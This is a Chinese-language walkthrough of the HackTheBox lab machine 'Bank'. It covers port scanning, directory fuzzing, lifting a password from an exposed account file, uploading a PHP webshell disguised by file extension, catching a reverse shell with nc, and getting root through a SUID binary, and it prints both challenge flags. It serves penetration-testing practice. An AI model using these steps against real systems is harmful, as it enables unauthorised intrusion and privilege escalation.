目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取出靶机TCP开放端口
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用curl对域名进行访问
使用浏览器访问该域名
边界突破
使用ffuf对该域名进行路径FUZZ
访问balance-transfer接口可见大量.acc文件
点击右上角的Size按钮可对文件大小进行升序排列
通过上述凭证登录后,在左侧可见Support栏目
使用Yakit构造请求包发送Webshell
本地侧nc开始监听
权限提升
查看靶机系统内存在的用户
查找当前系统内的SUID文件
连接至HTB服务器并启动靶机
靶机IP:10.10.10.29
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.29 -r 1-65535 --ulimit 5000 | tee res
提取出靶机TCP开放端口
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
22,53,80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,53,80
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.29
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.29
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.29
- 将靶机IP与bank.htb域名进行绑定
sed -i '1i 10.10.10.29 bank.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.29 bank.htb' /etc/hosts┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head /etc/hosts -n 1
10.10.10.29 bank.htb
使用curl对域名进行访问
curl -I http://bank.htb
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://bank.htb
HTTP/1.1 302 Found
Date: Tue, 07 Jan 2025 09:12:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=1ukl795lkhp59fqphdlk8s7gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Type: text/html
使用浏览器访问该域名
边界突破
使用ffuf对该域名进行路径FUZZ
ffuf -u http://bank.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200
访问balance-transfer接口可见大量.acc文件
点击右上角的Size按钮可对文件大小进行升序排列
- 点击查看这个与其他.acc文件大小不一样的文件
- 得到凭证
名称:Christos Christopoulos
邮箱:chris@bank.htb
密码:!##HTBB4nkP4ssw0rd!##
通过上述凭证登录后,在左侧可见Support栏目
- 点击后可见该页支持文件上传
- 键盘按Ctrl+U查看该页原码
- 由该页注释可知,.htb文件可充当.php文件进行解析
使用Yakit构造请求包发送Webshell
- 在My Tickets栏目中可见文件成功上传
本地侧nc开始监听
rlwrap -cAr nc -lvnp 1425
- 直接点击Click Here访问Webshell文件,本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.29] 45632
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
13:09:56 up 3:20, 0 users, load average: 0.37, 0.09, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
权限提升
查看靶机系统内存在的用户
cat /etc/passwd
- 当前用户权限可以直接查看chris下的flag文件
www-data@bank:/$ find / -name 'user.txt' -type f 2>/dev/null
find / -name 'user.txt' -type f 2>/dev/null
/home/chris/user.txt
www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
8fc44025442af344df63cad1c33e35c8
查找当前系统内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null
- 直接运行/var/htb/bin/emergency文件即可提权至root用户
www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
- 在/root目录下找到root.txt文件
# find / -name 'root.txt' -type f
find / -name 'root.txt' -type f
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
38e39916caa580e4ffaee0a6379444c9